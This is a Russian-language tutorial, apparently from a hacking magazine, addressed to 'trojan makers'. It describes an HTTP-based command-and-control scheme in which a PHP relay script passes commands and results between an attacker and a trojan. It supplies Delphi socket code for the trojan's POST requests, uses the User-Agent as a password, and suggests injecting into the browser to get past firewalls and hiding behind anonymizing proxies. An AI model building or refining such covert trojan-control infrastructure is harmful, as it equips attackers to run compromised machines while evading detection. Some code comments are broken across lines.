Статья предназначена для более-менее опытных троянмейкеров, умеющих работать с TCP/IP через API и знакомых с HTTP-протоколом, в частности, с методом POST. Кроме того, необходимо разбираться в PHP на уровне работы с текстовыми файлами, строками и суперглобальными ассоциированными массивами (к коим относятся $_GET, $_POST и $_SERVER). По ходу дела я, конечно, буду давать некоторые объяснения, но для понимания всего этого «с нуля» их будет явно не достаточно.

Не испугались? 😉 Ну и правильно — чего тут страшного? Начнём.

Идея

Идея достаточно простая — для управления трояном используется скрипт, написанный на PHP, ASP, Perl или чём-нибудь подобном. Скрипт
размещаться на любом хостинге с поддержкой соответствующих сценариев.

Обмен информацией с трояном происходит следующим образом: когда хакер хочет передать трояну команду, он по HTTP-протоколу посылает её скрипту. Скрипт принимает команду и где-то её сохраняет (например, в текстовом файле у себя на сервере). Как только троян обратится к скрипту и «спросит», не было ли чего-нибудь от хакера, скрипт отдаст ему сохранённую команду. Естественно, для того, что бы вовремя узнавать о поступивших командах, трояну нужно регулярно обращаться к скрипту.

Если же троян должен передать что-нибудь хакеру (например, результат выполнения очередной команды), всё повторяется в обратном порядке: троян по HTTP-протоколу посылает нужную информацию скрипту, тот её сохраняет и после соответствующего запроса отдаёт хакеру.

Таким образом скрипт играет роль посредника между хакером и трояном. Конечно, это несколько замедляет обмен информацией, но в таком способе управления есть и свои плюсы. Во-первых, хакеру легко обеспечит собственную анонимность — достаточно быть анонимным в WWW (всякие там anonymous-proxy и т.п… короче, вы в курсе). Во-вторых, если скрипт-посредник поддерживает web-интерфейс, для управления трояном хакер может использовать обычный браузер. В третьих, троян у нас фактически является HTTP-клиентом, поэтому если на затрояненой машине установлен файрвол, всегда можно попробовать
внедриться в адресное пространство web-браузера и слать HTTP-запросы от его имени 😉

Если идея понятна, перейдём к практике. Троян (на самом деле не настоящий троян, конечно, а небольшой безобидный пример к статье) напишем на Delphi, скрипт-посредник — на PHP. Через web-интерфейс скрипта можно будет посылать трояну команды и видеть результаты их выполнения.

Троян

Начнём с трояна. Прежде всего он должен уметь посылать HTTP-запросы и получать ответы сервера. И запросы и ответы в нашем примере будут строками. Реализуем мы всё это в виде функции,
объявленной как:

// функция посылает серверу строку по протоколу http и возвращает ответ сервера в ansver
//
значения, возвращаемый функцией:
//
0 — всё ок!
//
1 — нет коннекта по сети
//
2 — не инициализировались сокеты
//
3 — неправильный IP или имя microsoft.com
//
4 — нет соединения с хостом
function SendStringViaHTTP(serverhost: string; //
хост сервера (напр.
microsoft.com)

//
или его IP-адрес (198.162.0.1)
virtualhost: string; //
виртуальный хост
port: DWORD; //
порт (обычно 80)
page: string; //
PHP-скрипт, которому
//
передаётся запрос (напр.
/index.php)

data: AnsiString; //
данные посылаемые серверу
var answer: AnsiString //
ответ сервера (без заголовка)
): byte;

Назначение параметров и значений, возвращаемых функцией, понятно из комментариев. Хочу только заметить, что виртуальный хост, на котором лежит скрипт, по понятным причинам может отличаться от хоста сервера.

Далее мы инициализируем сокеты и откроем соединение. Делается это как обычно, но на всякий случай я приведу соответствующий кусок кода с комментариями:

// в uses должны быть прописаны юниты WinInet и WinSock
//
в var функции должны быть прописаны переменные
//
WSA: TWSAData;
//
skt: TSocket;
//
sa: TSockAddr;
//
szhost: PHostEnt;
//
dwVar: DWORD;
//
А вот, собственно, код:
//
проверим соединение с интернетом
dwVar:=0;
InternetGetConnectedState(@dwVar, 0);
if (dwVar and 1)<>1 then
begin
Result:=1; //
нет коннекта
exit;
end;
//
инициализация сокетов
if WSAStartup($101, WSA)<>0 then
begin
Result:=2;
exit;
end;
//
открываем сокет
skt:=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
//
инициализируем некоторые поля
sa.sin_family:=AF_INET;
sa.sin_port:=htons(Port);
//
смотрим, передан ли нам адрес вида 127.0.0.1
sa.sin_addr.S_addr:=inet_addr(pchar(serverhost));
if sa.sin_addr.S_addr=u_long(INADDR_NONE) then
begin
//
нет — значит передан хост типа microsoft.com
szhost:=gethostbyname(pchar(serverhost));
if szhost=nil then
begin
Result:=3;
exit;
end;
CopyMemory(@(sa.sin_addr),@(szhost.h_addr_list^[0]),szhost.h_length);
end;
//
коннектимся
if connect(skt, sa, sizeof(sa))<>0 then
begin
Result:=4;
exit;
end;

Если всё нормально и коннект установлен, можно приступать к передаче данных. Мы будем передавать на сервер HTTP-запрос используя метод POST. Заголовок нашего запроса будет состоять из нескольких строк, который обычно называют полями:

POST /index.php HTTP/1.0
User-Agent: <название браузера, у нас это пароль для скрипта-посредника>
Host: <виртуальный хост>
Content-Type: application/x-www-form-urlencoded
Content-Length: <длина данных>
Connection: Keep-Alive

Я не буду рассказывать о значении каждого поля — по этому поводу см. RFC1945 «Hypertext Transfer Protocol — HTTP/1.0». Скажу лишь, что название браузера (поле User-Agent) играет у нас роль пароля — именно по названию браузера скрипт-посредник будет узнавать, что к нему обратился троян.

Каждое поле должно оканчиваться на #13#10, после самого заголовка (т.е. в конце его последнего поля) стоит #13#10#13#10. Сразу за заголовком следуют данные. Поскольку тип данных у нас в заголовке указан как application/x-www-form-urlencoded (т.е. данные, якобы посланные из формы браузера) мы будем пересылать их длинной строкой вида:

data=<строка с нашими данными>

В этом случае PHP-скрипт сможет получить их через элемент массива $_POST[‘data’]. Естественно, при вычислении длины данных нужно учитывать, что к той строке, которую мы передаём серверу, добавляется строка «data=», т.е. ещё 5 символов.

Кроме того, мы не можем передать скрипту строку прямо в таком виде, в каком она есть. Если в строке, которую мы передаём встретится, например, символ «&», скрипт будет считать его концом строки (маразм, конечно, но так оно и есть). Поэтому строку, которую мы передаём, нужно представить в URL-кодированном виде. Что это такое? При URL-кодировании любой символ, кроме букв английского алфавита, цифр и ещё некоторых знаков типа «@» или «-» приводится к виду «%<hex-код символа>». Например, строка «супер-пупер» в URL-кодированном виде будет выглядеть как: «%F1%F3%EF%E5%F0-%EF%F3%EF%E5%F0».

Для упрощения кода мы будем URL-кодировать все символы без разбора — такую строку сервер тоже примет нормально. Само URL-кодирование у нас будет осуществляться в цикле — один символ за одну итерацию. Алгоритм кодирования одного символа я объясню в общем, т.к. для лекции по основам 16-ричной арифметики просто нет места (статья и так получается большая).

При URL-кодировании мы используем целочисленное деление (функция div) ANSI-кода символа на 16, что бы получить старшую цифру кода символа в hex-виде, и остаток от этого же деления (функция mod) что бы получить младшую цифру. Символьное представление цифр мы находим как элементы строки hexdigits (см. исходнк дальше) с соответствующими смещениями. Фактически весь алгоритм реализуется одной строкой:

l:=l+’%’+hexdigits[(ord(data[i]) div 16)+1]+hexdigits[(ord(data[i]) mod 16)+1];

где data[i] — очередной символ, который URL-кодируется и присоединяется к l. Код, который всё это реализует, полностью выглядит так:

// в var обьявлена переменная l типа
AnsiString,

//
в const объявлена константа hexdigits — это строка цифр
//
16-ричной системы по возрастанию:
//
hexdigits = ‘0123456789ABCDEF’
//
URL-кодируем данные
l:=»;
for i:=1 to length(data) do
begin
l:=l+’%’+hexdigits[(ord(data[i]) div 16)+1]+hexdigits[(ord(data[i]) mod 16)+1];
end;
data:=l;

Теперь, когда URL-кодирование завершено, можно посылать строку скрипту. Дальше идёт код, который формирует заголовок:

// вычисляем длину данных, которые необходимо передать (+5 — для «data=») и переводим
//
в строковой вид
str(length(data)+5, l);
//
формируем заголовок (в константе TROJAN_PSW хранится пароль для скрипта) в той же
//
переменной l
l:=’POST ‘+page+’ HTTP/1.0’#13#10+
‘User-Agent: ‘+TROJAN_PSW+#13#10+
‘Host: ‘+virtualhost+#13#10+
‘Content-Type: application/x-www-form-urlencoded’#13#10+
‘Content-Length: ‘+l+#13#10+
‘Connection: Keep-Alive’#13#10#13#10+
‘data=’;
//
посылаем заголовок
if send(skt, l[1], length(l), 0)=SOCKET_ERROR then
begin
//
ошибка пересылки
Result:=4;
exit;
end;
//
посылаем данные
if send(skt, data[1], length(data), 0)=SOCKET_ERROR then
begin
//
ошибка пересылки
Result:=4;
exit;
end;

После того, как запрос отослан, нам необходимо получить строку с ответом сервера. Делается это как обычно, функцией recv. Правда тут возникает одна тонкость: если ответ длинный, сервер передаст нам его не сразу, а по частям. Тогда как узнать, что передана вся строка с ответом? Мы решим это просто: в конце каждого ответа наш скрипт-посредник будет вставлять ключевое слово </body> (тег конца тела HTML странички). Тогда трояну только и останется, что проверять, не передал ли сервер это ключевое слово.

Ответ сервера мы будем заносить в переменную answer типа AnsiString (максимальный размер строки AnsiString ограничивается только размером RAM — для мелких надобностей нам хватит ;-)). Код, реализующий это, имеет следующий вид:

// в коде используем переменные dwVar и data повторно
//
ожидаем ответа сервера
repeat
//
ждём, пока что-то появится в сокете
repeat
ioctlsocket(skt, FIONREAD, integer(dwVar));
until (dwVar<>0);
//
длина буфера для данных
SetLength(data, dwVar);
//
принимаем данные, пока сокет не опустеет
i:=0;
repeat
i:=i+recv(skt, data[i+1], dwVar, 0);
until (i>=dwVar);
//
добавим принятое к общему буферу
answer:=answer+data;
//
проверим, не было ли </body>
until pos(‘</body>’, answer)<>0;

Ответ сервера будет состоять из заголовка типа:

HTTP/1.1 200 OK
Date: Wed, 22 Jun 2005 12:28:38 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.6
X-Powered-By: PHP/4.3.6
Connection: close
Content-Type: text/html

и данных, которые идут сразу за заголовком и отделяются от него цепочкой байт #13#10#13#10. Я опять-таки не буду объяснять значение полей заголовка ответа, отсылая любопытных к RFC1945. Тем более сам заголовок нас не интересует, нам нужны только данные, которые за ним следуют. Поэтому заголовок мы попросту отрежем:

// найдём начало данных (повторно используем переменную i)
i:=pos(#13#10#13#10, answer);
//
отрежем заголовок
if i<>0 then delete(answer, 1, i+3);

Кстати, в конце ответа скрипта идёт тег </body>, который нам тоже ни к чему:

delete(answer, pos(‘</body>’, answer), 7); // 7 — длина строки «</body>»

Что ж, теперь функция может спокойно закончить работу, вернув код завершения 0 (всё прошло нормально):

Result:=0;

Итак, наш троян может обмениваться информацией со скриптом. Для того, что бы вовремя получать команды хакера, троян должен часто обращаться к скрипту. В нашем примере «часто» будет определятся константой SEC — пауза между запросами в секундах.

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…